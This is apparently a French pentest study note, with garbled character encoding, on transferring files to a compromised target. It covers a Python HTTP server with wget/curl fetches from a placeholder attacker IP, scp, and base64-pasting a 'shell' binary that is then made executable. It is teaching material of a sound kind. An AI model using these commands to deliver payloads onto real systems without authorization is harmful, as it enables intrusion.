Transferring Files
đ Introduction
Dans le cadre dâun test dâintrusion, il est frĂ©quent de devoir transfĂ©rer des fichiers vers ou depuis la machine cible. Ces fichiers peuvent ĂȘtre :
Des scripts dâĂ©numĂ©ration (comme
linpeas.sh
)Des exploits locaux
Des reverse shells ou payloads personnalisés
Des fichiers de configuration, des résultats, voire des flags.
Quand on dispose dâun shell interactif complet (ex. SSH), cela ne pose pas de difficultĂ©. En revanche, lorsquâon obtient un shell limitĂ© (reverse shell, web shellâŠ), on doit souvent ruser pour transfĂ©rer les fichiers.
Voici les principales mĂ©thodes que jâai Ă©tudiĂ©es et que je peux appliquer selon la situation.
đ MĂ©thode 1 â Serveur HTTP Python + wget
ou curl
wget
ou curl
Câest lâapproche que jâutilise le plus souvent. Elle consiste Ă hĂ©berger le fichier sur ma machine attaquante via un petit serveur HTTP, puis Ă le tĂ©lĂ©charger depuis la machine cible.
đ Ătapes
CÎté attaquant :
Je me place dans le répertoire contenant le fichier à transférer, puis je lance :
python3 -m http.server 8000
Cela met en place un serveur HTTP sur le port 8000.
CÎté cible :
Si
wget
est disponible :wget http://<MON_IP>:8000/fichier
Si
curl
est utilisé :curl http://<MON_IP>:8000/fichier -o fichier
â ïž Cette mĂ©thode suppose que la cible a accĂšs Ă Internet (ou au moins Ă ma machine via lâIP VPN).
đ MĂ©thode 2 â scp
(copie via SSH)
scp
(copie via SSH)Si jâai des identifiants valides SSH sur la machine cible, je peux envoyer un fichier directement via la commande scp
:
scp fichier user@ip_cible:/tmp/fichier
Je lâutilise surtout lorsque je suis dans un contexte de post-exploitation et que l'accĂšs SSH est disponible.
đ§Ź MĂ©thode 3 â Encodage en Base64
Certaines machines ne disposent pas de wget
, curl
, ou ne peuvent pas sortir vers Internet. Dans ce cas, je peux encoder mon fichier en base64, copier/coller la sortie dans le shell distant, puis le décoder.
đ Ătapes
Sur ma machine :
base64 shell -w 0
Je copie ensuite la chaßne générée.
Sur la cible :
echo "<sortie_base64>" | base64 -d > shell
chmod +x shell
đ§ Cette mĂ©thode fonctionne mĂȘme dans les contextes trĂšs restreints, bien quâelle soit plus lente et fastidieuse.
â
VĂ©rification de lâintĂ©gritĂ©
a. Vérification du format :
file shell
Permet de confirmer que le binaire est valide (ex. ELF 64-bit).
b. Vérification par hash MD5 :
Je compare le hash du fichier original et du fichier transféré :
md5sum shell
Les deux valeurs doivent ĂȘtre identiques.
đ SynthĂšse
Python HTTP Server
Shell reverse, machine sortante
Rapide, simple
Nécessite accÚs réseau sortant
SCP
AccĂšs SSH disponible
Sécurisé, direct
Nécessite mot de passe ou clé
Base64
Aucun outil réseau disponible
Fonctionne mĂȘme en environnement trĂšs restreint
Long, fastidieux
đ§ Ce quâil faut retenir
Mis Ă jour